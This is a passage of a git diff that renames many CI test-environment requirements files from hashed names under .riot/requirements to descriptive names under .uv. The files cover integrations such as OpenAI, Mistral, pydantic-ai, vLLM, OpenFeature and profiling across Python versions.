.riot/requirements/1458a81.txt rename to .uv/llmobs-mistralai--mistralai-py312-mistralai-latest.txt diff --git a/.riot/requirements/16181c1.txt b/.uv/llmobs-mistralai--mistralai-py313-mistralai-2-0-0.txt similarity index 100% rename from .riot/requirements/16181c1.txt rename to .uv/llmobs-mistralai--mistralai-py313-mistralai-2-0-0.txt diff --git a/.riot/requirements/7473443.txt b/.uv/llmobs-mistralai--mistralai-py313-mistralai-latest.txt similarity index 100% rename from .riot/requirements/7473443.txt rename to .uv/llmobs-mistralai--mistralai-py313-mistralai-latest.txt diff --git a/.riot/requirements/15b9e28.txt b/.uv/llmobs-mistralai--mistralai-py314-mistralai-2-0-0.txt similarity index 100% rename from .riot/requirements/15b9e28.txt rename to .uv/llmobs-mistralai--mistralai-py314-mistralai-2-0-0.txt diff --git a/.riot/requirements/1d61bb7.txt b/.uv/llmobs-mistralai--mistralai-py314-mistralai-latest.txt similarity index 100% rename from .riot/requirements/1d61bb7.txt rename to .uv/llmobs-mistralai--mistralai-py314-mistralai-latest.txt diff --git a/.riot/requirements/bbcdb10.txt b/.uv/llmobs-openai--openai-py310-openai-1-66-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/bbcdb10.txt rename to .uv/llmobs-openai--openai-py310-openai-1-66-0-openai-pillow-latest.txt diff --git a/.riot/requirements/bd89eb3.txt b/.uv/llmobs-openai--openai-py310-openai-1-76-2-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/bd89eb3.txt rename to .uv/llmobs-openai--openai-py310-openai-1-76-2-openai-pillow-latest.txt diff --git a/.riot/requirements/5301b11.txt b/.uv/llmobs-openai--openai-py310-openai-embeddings-datalib-1-0-0-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt similarity index 100% rename from .riot/requirements/5301b11.txt rename to .uv/llmobs-openai--openai-py310-openai-embeddings-datalib-1-0-0-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt diff --git a/.riot/requirements/77994b3.txt b/.uv/llmobs-openai--openai-py310-openai-embeddings-datalib-1-30-1-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt similarity index 100% rename from .riot/requirements/77994b3.txt rename to .uv/llmobs-openai--openai-py310-openai-embeddings-datalib-1-30-1-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt diff --git a/.riot/requirements/1b544ab.txt b/.uv/llmobs-openai--openai-py310-openai-latest-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/1b544ab.txt rename to .uv/llmobs-openai--openai-py310-openai-latest-openai-pillow-latest.txt diff --git a/.riot/requirements/a9f0bf3.txt b/.uv/llmobs-openai--openai-py310-openai-lt-2-0-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/a9f0bf3.txt rename to .uv/llmobs-openai--openai-py310-openai-lt-2-0-0-openai-pillow-latest.txt diff --git a/.riot/requirements/a2b9112.txt b/.uv/llmobs-openai--openai-py311-openai-1-66-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/a2b9112.txt rename to .uv/llmobs-openai--openai-py311-openai-1-66-0-openai-pillow-latest.txt diff --git a/.riot/requirements/51ae308.txt b/.uv/llmobs-openai--openai-py311-openai-1-76-2-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/51ae308.txt rename to .uv/llmobs-openai--openai-py311-openai-1-76-2-openai-pillow-latest.txt diff --git a/.riot/requirements/109d638.txt b/.uv/llmobs-openai--openai-py311-openai-embeddings-datalib-1-0-0-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt similarity index 100% rename from .riot/requirements/109d638.txt rename to .uv/llmobs-openai--openai-py311-openai-embeddings-datalib-1-0-0-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt diff --git a/.riot/requirements/41b0f95.txt b/.uv/llmobs-openai--openai-py311-openai-embeddings-datalib-1-30-1-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt similarity index 100% rename from .riot/requirements/41b0f95.txt rename to .uv/llmobs-openai--openai-py311-openai-embeddings-datalib-1-30-1-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt diff --git a/.riot/requirements/1882fe7.txt b/.uv/llmobs-openai--openai-py311-openai-latest-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/1882fe7.txt rename to .uv/llmobs-openai--openai-py311-openai-latest-openai-pillow-latest.txt diff --git a/.riot/requirements/162cf2e.txt b/.uv/llmobs-openai--openai-py311-openai-lt-2-0-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/162cf2e.txt rename to .uv/llmobs-openai--openai-py311-openai-lt-2-0-0-openai-pillow-latest.txt diff --git a/.riot/requirements/663ca38.txt b/.uv/llmobs-openai--openai-py312-openai-1-66-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/663ca38.txt rename to .uv/llmobs-openai--openai-py312-openai-1-66-0-openai-pillow-latest.txt diff --git a/.riot/requirements/16a63d7.txt b/.uv/llmobs-openai--openai-py312-openai-1-76-2-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/16a63d7.txt rename to .uv/llmobs-openai--openai-py312-openai-1-76-2-openai-pillow-latest.txt diff --git a/.riot/requirements/132e4bd.txt b/.uv/llmobs-openai--openai-py312-openai-latest-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/132e4bd.txt rename to .uv/llmobs-openai--openai-py312-openai-latest-openai-pillow-latest.txt diff --git a/.riot/requirements/19be394.txt b/.uv/llmobs-openai--openai-py312-openai-lt-2-0-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/19be394.txt rename to .uv/llmobs-openai--openai-py312-openai-lt-2-0-0-openai-pillow-latest.txt diff --git a/.riot/requirements/134082f.txt b/.uv/llmobs-openai--openai-py313-openai-1-66-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/134082f.txt rename to .uv/llmobs-openai--openai-py313-openai-1-66-0-openai-pillow-latest.txt diff --git a/.riot/requirements/6d1e866.txt b/.uv/llmobs-openai--openai-py313-openai-1-76-2-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/6d1e866.txt rename to .uv/llmobs-openai--openai-py313-openai-1-76-2-openai-pillow-latest.txt diff --git a/.riot/requirements/ec404a0.txt b/.uv/llmobs-openai--openai-py313-openai-latest-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/ec404a0.txt rename to .uv/llmobs-openai--openai-py313-openai-latest-openai-pillow-latest.txt diff --git a/.riot/requirements/14aa6df.txt b/.uv/llmobs-openai--openai-py313-openai-lt-2-0-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/14aa6df.txt rename to .uv/llmobs-openai--openai-py313-openai-lt-2-0-0-openai-pillow-latest.txt diff --git a/.riot/requirements/a827c2f.txt b/.uv/llmobs-openai--openai-py39-openai-1-66-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/a827c2f.txt rename to .uv/llmobs-openai--openai-py39-openai-1-66-0-openai-pillow-latest.txt diff --git a/.riot/requirements/1547cc9.txt b/.uv/llmobs-openai--openai-py39-openai-1-76-2-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/1547cc9.txt rename to .uv/llmobs-openai--openai-py39-openai-1-76-2-openai-pillow-latest.txt diff --git a/.riot/requirements/35f0cba.txt b/.uv/llmobs-openai--openai-py39-openai-embeddings-datalib-1-0-0-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt similarity index 100% rename from .riot/requirements/35f0cba.txt rename to .uv/llmobs-openai--openai-py39-openai-embeddings-datalib-1-0-0-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt diff --git a/.riot/requirements/1458d7e.txt b/.uv/llmobs-openai--openai-py39-openai-embeddings-datalib-1-30-1-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt similarity index 100% rename from .riot/requirements/1458d7e.txt rename to .uv/llmobs-openai--openai-py39-openai-embeddings-datalib-1-30-1-openai-embeddings-datalib-pillow-9-5-0-httpx-0-27-2.txt diff --git a/.riot/requirements/1d14cdc.txt b/.uv/llmobs-openai--openai-py39-openai-latest-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/1d14cdc.txt rename to .uv/llmobs-openai--openai-py39-openai-latest-openai-pillow-latest.txt diff --git a/.riot/requirements/95d28c3.txt b/.uv/llmobs-openai--openai-py39-openai-lt-2-0-0-openai-pillow-latest.txt similarity index 100% rename from .riot/requirements/95d28c3.txt rename to .uv/llmobs-openai--openai-py39-openai-lt-2-0-0-openai-pillow-latest.txt diff --git a/.riot/requirements/19109da.txt b/.uv/llmobs-openai-agents--openai-agents-py310-openai-agents-0-0-0-openai-agents.txt similarity index 100% rename from .riot/requirements/19109da.txt rename to .uv/llmobs-openai-agents--openai-agents-py310-openai-agents-0-0-0-openai-agents.txt diff --git a/.riot/requirements/d811511.txt b/.uv/llmobs-openai-agents--openai-agents-py310-openai-agents-0-14-0-openai-agents-2.txt similarity index 100% rename from .riot/requirements/d811511.txt rename to .uv/llmobs-openai-agents--openai-agents-py310-openai-agents-0-14-0-openai-agents-2.txt diff --git a/.riot/requirements/1b1eee5.txt b/.uv/llmobs-openai-agents--openai-agents-py310-openai-agents-0-8-0-openai-agents.txt similarity index 100% rename from .riot/requirements/1b1eee5.txt rename to .uv/llmobs-openai-agents--openai-agents-py310-openai-agents-0-8-0-openai-agents.txt diff --git a/.riot/requirements/1f24364.txt b/.uv/llmobs-openai-agents--openai-agents-py310-openai-agents-latest-openai-agents-2.txt similarity index 100% rename from .riot/requirements/1f24364.txt rename to .uv/llmobs-openai-agents--openai-agents-py310-openai-agents-latest-openai-agents-2.txt diff --git a/.riot/requirements/c0e2ef5.txt b/.uv/llmobs-openai-agents--openai-agents-py311-openai-agents-0-0-0-openai-agents.txt similarity index 100% rename from .riot/requirements/c0e2ef5.txt rename to .uv/llmobs-openai-agents--openai-agents-py311-openai-agents-0-0-0-openai-agents.txt diff --git a/.riot/requirements/1e47112.txt b/.uv/llmobs-openai-agents--openai-agents-py311-openai-agents-0-14-0-openai-agents-2.txt similarity index 100% rename from .riot/requirements/1e47112.txt rename to .uv/llmobs-openai-agents--openai-agents-py311-openai-agents-0-14-0-openai-agents-2.txt diff --git a/.riot/requirements/1b1dcf6.txt b/.uv/llmobs-openai-agents--openai-agents-py311-openai-agents-0-8-0-openai-agents.txt similarity index 100% rename from .riot/requirements/1b1dcf6.txt rename to .uv/llmobs-openai-agents--openai-agents-py311-openai-agents-0-8-0-openai-agents.txt diff --git a/.riot/requirements/55abc5e.txt b/.uv/llmobs-openai-agents--openai-agents-py311-openai-agents-latest-openai-agents-2.txt similarity index 100% rename from .riot/requirements/55abc5e.txt rename to .uv/llmobs-openai-agents--openai-agents-py311-openai-agents-latest-openai-agents-2.txt diff --git a/.riot/requirements/1bcb455.txt b/.uv/llmobs-openai-agents--openai-agents-py312-openai-agents-0-0-0-openai-agents.txt similarity index 100% rename from .riot/requirements/1bcb455.txt rename to .uv/llmobs-openai-agents--openai-agents-py312-openai-agents-0-0-0-openai-agents.txt diff --git a/.riot/requirements/f969c41.txt b/.uv/llmobs-openai-agents--openai-agents-py312-openai-agents-0-14-0-openai-agents-2.txt similarity index 100% rename from .riot/requirements/f969c41.txt rename to .uv/llmobs-openai-agents--openai-agents-py312-openai-agents-0-14-0-openai-agents-2.txt diff --git a/.riot/requirements/44e9793.txt b/.uv/llmobs-openai-agents--openai-agents-py312-openai-agents-0-8-0-openai-agents.txt similarity index 100% rename from .riot/requirements/44e9793.txt rename to .uv/llmobs-openai-agents--openai-agents-py312-openai-agents-0-8-0-openai-agents.txt diff --git a/.riot/requirements/1538bcb.txt b/.uv/llmobs-openai-agents--openai-agents-py312-openai-agents-latest-openai-agents-2.txt similarity index 100% rename from .riot/requirements/1538bcb.txt rename to .uv/llmobs-openai-agents--openai-agents-py312-openai-agents-latest-openai-agents-2.txt diff --git a/.riot/requirements/124b91e.txt b/.uv/llmobs-openai-agents--openai-agents-py313-openai-agents-0-0-0-openai-agents.txt similarity index 100% rename from .riot/requirements/124b91e.txt rename to .uv/llmobs-openai-agents--openai-agents-py313-openai-agents-0-0-0-openai-agents.txt diff --git a/.riot/requirements/15c9f1f.txt b/.uv/llmobs-openai-agents--openai-agents-py313-openai-agents-0-14-0-openai-agents-2.txt similarity index 100% rename from .riot/requirements/15c9f1f.txt rename to .uv/llmobs-openai-agents--openai-agents-py313-openai-agents-0-14-0-openai-agents-2.txt diff --git a/.riot/requirements/16eec26.txt b/.uv/llmobs-openai-agents--openai-agents-py313-openai-agents-0-8-0-openai-agents.txt similarity index 100% rename from .riot/requirements/16eec26.txt rename to .uv/llmobs-openai-agents--openai-agents-py313-openai-agents-0-8-0-openai-agents.txt diff --git a/.riot/requirements/213dcfe.txt b/.uv/llmobs-openai-agents--openai-agents-py313-openai-agents-latest-openai-agents-2.txt similarity index 100% rename from .riot/requirements/213dcfe.txt rename to .uv/llmobs-openai-agents--openai-agents-py313-openai-agents-latest-openai-agents-2.txt diff --git a/.riot/requirements/39b1dc8.txt b/.uv/llmobs-openai-agents--openai-agents-py39-openai-agents-0-0-0-openai-agents-urllib3-lt-2-eval-type-backport-latest.txt similarity index 100% rename from .riot/requirements/39b1dc8.txt rename to .uv/llmobs-openai-agents--openai-agents-py39-openai-agents-0-0-0-openai-agents-urllib3-lt-2-eval-type-backport-latest.txt diff --git a/.riot/requirements/15cd0eb.txt b/.uv/llmobs-openai-agents--openai-agents-py39-openai-agents-0-8-0-openai-agents-urllib3-lt-2-eval-type-backport-latest.txt similarity index 100% rename from .riot/requirements/15cd0eb.txt rename to .uv/llmobs-openai-agents--openai-agents-py39-openai-agents-0-8-0-openai-agents-urllib3-lt-2-eval-type-backport-latest.txt diff --git a/.riot/requirements/118c78b.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py310-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/118c78b.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py310-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/1048705.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py310-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1048705.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py310-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/14e98b5.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py310-pydantic-ai-slim-openai-1-63-0.txt similarity index 100% rename from .riot/requirements/14e98b5.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py310-pydantic-ai-slim-openai-1-63-0.txt diff --git a/.riot/requirements/1e11733.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py311-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1e11733.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py311-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/36bfea6.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py311-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/36bfea6.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py311-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/15d0624.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py311-pydantic-ai-slim-openai-1-63-0.txt similarity index 100% rename from .riot/requirements/15d0624.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py311-pydantic-ai-slim-openai-1-63-0.txt diff --git a/.riot/requirements/1bc28ae.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py312-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1bc28ae.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py312-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/1f9398b.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py312-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1f9398b.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py312-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/423d409.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py312-pydantic-ai-slim-openai-1-63-0.txt similarity index 100% rename from .riot/requirements/423d409.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py312-pydantic-ai-slim-openai-1-63-0.txt diff --git a/.riot/requirements/1ef3b53.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py313-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1ef3b53.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py313-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/1125dea.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py313-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1125dea.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py313-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/d4a2967.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py313-pydantic-ai-slim-openai-1-63-0.txt similarity index 100% rename from .riot/requirements/d4a2967.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py313-pydantic-ai-slim-openai-1-63-0.txt diff --git a/.riot/requirements/c5c7253.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py314-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/c5c7253.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py314-pydantic-ai-slim-openai-0-8-1-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/1349413.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py314-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/1349413.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py314-pydantic-ai-slim-openai-1-0-0-pydantic-ai-slim-openai-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/129868b.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py314-pydantic-ai-slim-openai-1-63-0.txt similarity index 100% rename from .riot/requirements/129868b.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py314-pydantic-ai-slim-openai-1-63-0.txt diff --git a/.riot/requirements/136b4b4.txt b/.uv/llmobs-pydantic-ai--pydantic-ai-py39-pydantic-ai-slim-openai-0-8-1-pydantic-2-12-0a1.txt similarity index 100% rename from .riot/requirements/136b4b4.txt rename to .uv/llmobs-pydantic-ai--pydantic-ai-py39-pydantic-ai-slim-openai-0-8-1-pydantic-2-12-0a1.txt diff --git a/.riot/requirements/158b41a.txt b/.uv/llmobs-vertexai--vertexai-py310.txt similarity index 100% rename from .riot/requirements/158b41a.txt rename to .uv/llmobs-vertexai--vertexai-py310.txt diff --git a/.riot/requirements/3ed7683.txt b/.uv/llmobs-vertexai--vertexai-py311.txt similarity index 100% rename from .riot/requirements/3ed7683.txt rename to .uv/llmobs-vertexai--vertexai-py311.txt diff --git a/.riot/requirements/ce2bb40.txt b/.uv/llmobs-vertexai--vertexai-py312.txt similarity index 100% rename from .riot/requirements/ce2bb40.txt rename to .uv/llmobs-vertexai--vertexai-py312.txt diff --git a/.riot/requirements/1102e86.txt b/.uv/llmobs-vertexai--vertexai-py39.txt similarity index 100% rename from .riot/requirements/1102e86.txt rename to .uv/llmobs-vertexai--vertexai-py39.txt diff --git a/.riot/requirements/1317b0e.txt b/.uv/llmobs-vllm--vllm-py310.txt similarity index 100% rename from .riot/requirements/1317b0e.txt rename to .uv/llmobs-vllm--vllm-py310.txt diff --git a/.riot/requirements/c663307.txt b/.uv/llmobs-vllm--vllm-py311.txt similarity index 100% rename from .riot/requirements/c663307.txt rename to .uv/llmobs-vllm--vllm-py311.txt diff --git a/.riot/requirements/1c5afd9.txt b/.uv/llmobs-vllm--vllm-py312.txt similarity index 100% rename from .riot/requirements/1c5afd9.txt rename to .uv/llmobs-vllm--vllm-py312.txt diff --git a/.riot/requirements/12ee49d.txt b/.uv/llmobs-vllm--vllm-py313.txt similarity index 100% rename from .riot/requirements/12ee49d.txt rename to .uv/llmobs-vllm--vllm-py313.txt diff --git a/.riot/requirements/1540c33.txt b/.uv/openfeature--openfeature-py310-openfeature-0-8.txt similarity index 100% rename from .riot/requirements/1540c33.txt rename to .uv/openfeature--openfeature-py310-openfeature-0-8.txt diff --git a/.riot/requirements/b3bdd52.txt b/.uv/openfeature--openfeature-py310-openfeature-latest.txt similarity index 100% rename from .riot/requirements/b3bdd52.txt rename to .uv/openfeature--openfeature-py310-openfeature-latest.txt diff --git a/.riot/requirements/cdab08a.txt b/.uv/openfeature--openfeature-py311-openfeature-0-8.txt similarity index 100% rename from .riot/requirements/cdab08a.txt rename to .uv/openfeature--openfeature-py311-openfeature-0-8.txt diff --git a/.riot/requirements/16b741f.txt b/.uv/openfeature--openfeature-py311-openfeature-latest.txt similarity index 100% rename from .riot/requirements/16b741f.txt rename to .uv/openfeature--openfeature-py311-openfeature-latest.txt diff --git a/.riot/requirements/18421e5.txt b/.uv/openfeature--openfeature-py312-openfeature-0-8.txt similarity index 100% rename from .riot/requirements/18421e5.txt rename to .uv/openfeature--openfeature-py312-openfeature-0-8.txt diff --git a/.riot/requirements/18a4a8d.txt b/.uv/openfeature--openfeature-py312-openfeature-latest.txt similarity index 100% rename from .riot/requirements/18a4a8d.txt rename to .uv/openfeature--openfeature-py312-openfeature-latest.txt diff --git a/.riot/requirements/14fc413.txt b/.uv/openfeature--openfeature-py313-openfeature-0-8.txt similarity index 100% rename from .riot/requirements/14fc413.txt rename to .uv/openfeature--openfeature-py313-openfeature-0-8.txt diff --git a/.riot/requirements/13c4b39.txt b/.uv/openfeature--openfeature-py313-openfeature-latest.txt similarity index 100% rename from .riot/requirements/13c4b39.txt rename to .uv/openfeature--openfeature-py313-openfeature-latest.txt diff --git a/.riot/requirements/168ee03.txt b/.uv/openfeature--openfeature-py314-openfeature-0-8.txt similarity index 100% rename from .riot/requirements/168ee03.txt rename to .uv/openfeature--openfeature-py314-openfeature-0-8.txt diff --git a/.riot/requirements/16138c7.txt b/.uv/openfeature--openfeature-py314-openfeature-latest.txt similarity index 100% rename from .riot/requirements/16138c7.txt rename to .uv/openfeature--openfeature-py314-openfeature-latest.txt diff --git a/.riot/requirements/765862d.txt b/.uv/openfeature--openfeature-py39-openfeature-0-8.txt similarity index 100% rename from .riot/requirements/765862d.txt rename to .uv/openfeature--openfeature-py39-openfeature-0-8.txt diff --git a/.riot/requirements/460df49.txt b/.uv/openfeature--openfeature-py39-openfeature-latest.txt similarity index 100% rename from .riot/requirements/460df49.txt rename to .uv/openfeature--openfeature-py39-openfeature-latest.txt diff --git a/.riot/requirements/1111da1.txt b/.uv/profiling-profile--profile-py310-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/1111da1.txt rename to .uv/profiling-profile--profile-py310-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt diff --git a/.riot/requirements/168abb5.txt b/.uv/profiling-profile--profile-py310-protobuf-3-19-0-protobuf.txt similarity index 100% rename from .riot/requirements/168abb5.txt rename to .uv/profiling-profile--profile-py310-protobuf-3-19-0-protobuf.txt diff --git a/.riot/requirements/95f8b96.txt b/.uv/profiling-profile--profile-py310-protobuf-latest-protobuf.txt similarity index 100% rename from .riot/requirements/95f8b96.txt rename to .uv/profiling-profile--profile-py310-protobuf-latest-protobuf.txt diff --git a/.riot/requirements/f912787.txt b/.uv/profiling-profile--profile-py310-uvloop-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/f912787.txt rename to .uv/profiling-profile--profile-py310-uvloop-latest-protobuf-latest.txt diff --git a/.riot/requirements/19138f9.txt b/.uv/profiling-profile--profile-py311-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/19138f9.txt rename to .uv/profiling-profile--profile-py311-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt diff --git a/.riot/requirements/1d945e9.txt b/.uv/profiling-profile--profile-py311-protobuf-4-22-0-protobuf-2.txt similarity index 100% rename from .riot/requirements/1d945e9.txt rename to .uv/profiling-profile--profile-py311-protobuf-4-22-0-protobuf-2.txt diff --git a/.riot/requirements/1e73157.txt b/.uv/profiling-profile--profile-py311-protobuf-latest-protobuf-2.txt similarity index 100% rename from .riot/requirements/1e73157.txt rename to .uv/profiling-profile--profile-py311-protobuf-latest-protobuf-2.txt diff --git a/.riot/requirements/7da78f0.txt b/.uv/profiling-profile--profile-py311-uvloop-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/7da78f0.txt rename to .uv/profiling-profile--profile-py311-uvloop-latest-protobuf-latest.txt diff --git a/.riot/requirements/13de08c.txt b/.uv/profiling-profile--profile-py312-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/13de08c.txt rename to .uv/profiling-profile--profile-py312-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt diff --git a/.riot/requirements/1193aba.txt b/.uv/profiling-profile--profile-py312-protobuf-4-22-0-protobuf-2.txt similarity index 100% rename from .riot/requirements/1193aba.txt rename to .uv/profiling-profile--profile-py312-protobuf-4-22-0-protobuf-2.txt diff --git a/.riot/requirements/759749c.txt b/.uv/profiling-profile--profile-py312-protobuf-latest-protobuf-2.txt similarity index 100% rename from .riot/requirements/759749c.txt rename to .uv/profiling-profile--profile-py312-protobuf-latest-protobuf-2.txt diff --git a/.riot/requirements/1ab3dac.txt b/.uv/profiling-profile--profile-py312-uvloop-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/1ab3dac.txt rename to .uv/profiling-profile--profile-py312-uvloop-latest-protobuf-latest.txt diff --git a/.riot/requirements/177daf3.txt b/.uv/profiling-profile--profile-py313-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/177daf3.txt rename to .uv/profiling-profile--profile-py313-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt diff --git a/.riot/requirements/1cd7daa.txt b/.uv/profiling-profile--profile-py313-protobuf-4-22-0-protobuf-2.txt similarity index 100% rename from .riot/requirements/1cd7daa.txt rename to .uv/profiling-profile--profile-py313-protobuf-4-22-0-protobuf-2.txt diff --git a/.riot/requirements/9710280.txt b/.uv/profiling-profile--profile-py313-protobuf-latest-protobuf-2.txt similarity index 100% rename from .riot/requirements/9710280.txt rename to .uv/profiling-profile--profile-py313-protobuf-latest-protobuf-2.txt diff --git a/.riot/requirements/9539a94.txt b/.uv/profiling-profile--profile-py313-uvloop-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/9539a94.txt rename to .uv/profiling-profile--profile-py313-uvloop-latest-protobuf-latest.txt diff --git a/.riot/requirements/14e3100.txt b/.uv/profiling-profile--profile-py314-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/14e3100.txt rename to .uv/profiling-profile--profile-py314-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt diff --git a/.riot/requirements/daba82d.txt b/.uv/profiling-profile--profile-py314-protobuf-latest.txt similarity index 100% rename from .riot/requirements/daba82d.txt rename to .uv/profiling-profile--profile-py314-protobuf-latest.txt diff --git a/.riot/requirements/16e6824.txt b/.uv/profiling-profile--profile-py314-uvloop-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/16e6824.txt rename to .uv/profiling-profile--profile-py314-uvloop-latest-protobuf-latest.txt diff --git a/.riot/requirements/4a59bb7.txt b/.uv/profiling-profile--profile-py39-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/4a59bb7.txt rename to .uv/profiling-profile--profile-py39-gunicorn-gevent-latest-gevent-latest-protobuf-latest.txt diff --git a/.riot/requirements/c5dcf84.txt b/.uv/profiling-profile--profile-py39-protobuf-3-19-0-protobuf.txt similarity index 100% rename from .riot/requirements/c5dcf84.txt rename to .uv/profiling-profile--profile-py39-protobuf-3-19-0-protobuf.txt diff --git a/.riot/requirements/1f41eb9.txt b/.uv/profiling-profile--profile-py39-protobuf-latest-protobuf.txt similarity index 100% rename from .riot/requirements/1f41eb9.txt rename to .uv/profiling-profile--profile-py39-protobuf-latest-protobuf.txt diff --git a/.riot/requirements/1c0f0d6.txt b/.uv/profiling-profile--profile-py39-uvloop-latest-protobuf-latest.txt similarity index 100% rename from .riot/requirements/1c0f0d6.txt rename to .uv/profiling-profile--profile-py39-uvloop-latest-protobuf-latest.txt diff --git a/.riot/requirements/22b6635.txt b/.uv/profiling-profile-memalloc--profile-memalloc-py310.txt similarity index 100% rename from .riot/requirements/22b6635.txt rename to 